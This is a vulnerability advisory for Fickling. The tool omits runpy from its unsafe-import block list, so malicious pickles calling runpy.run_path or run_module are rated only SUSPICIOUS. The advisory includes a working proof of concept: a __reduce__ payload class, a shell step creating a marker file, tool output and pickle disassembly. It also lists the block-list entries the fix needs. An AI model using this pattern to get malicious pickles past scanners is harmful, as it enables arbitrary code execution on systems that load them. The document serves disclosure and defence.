PYSEC-2026-1373

# Fickling's assessment

`runpy` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

# Original report

### Summary Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

### Details The `runpy` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code: - File: `fickling/analysis.py` - Class: `UnsafeImports` - Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code`

Reference to similar fix: - PR #187 added `pty` to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for `runpy`

How the bypass works: 1. Attacker creates a pickle using `runpy.run_path()` in `__reduce__` 2. Fickling's `UnsafeImports` analysis does not flag `runpy` as dangerous 3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity 4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec`

Tested behavior (fickling 0.1.6):

| Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS |

Suggested fix: Add to the unsafe imports blocklist in `fickling/analysis.py`: - runpy - runpy.run_path - runpy.run_module - runpy._run_code - runpy._run_module_code

### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:** - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def __reduce__(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb")) # Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO 4 2: \x95 FRAME 92 11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP ### Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with `runpy`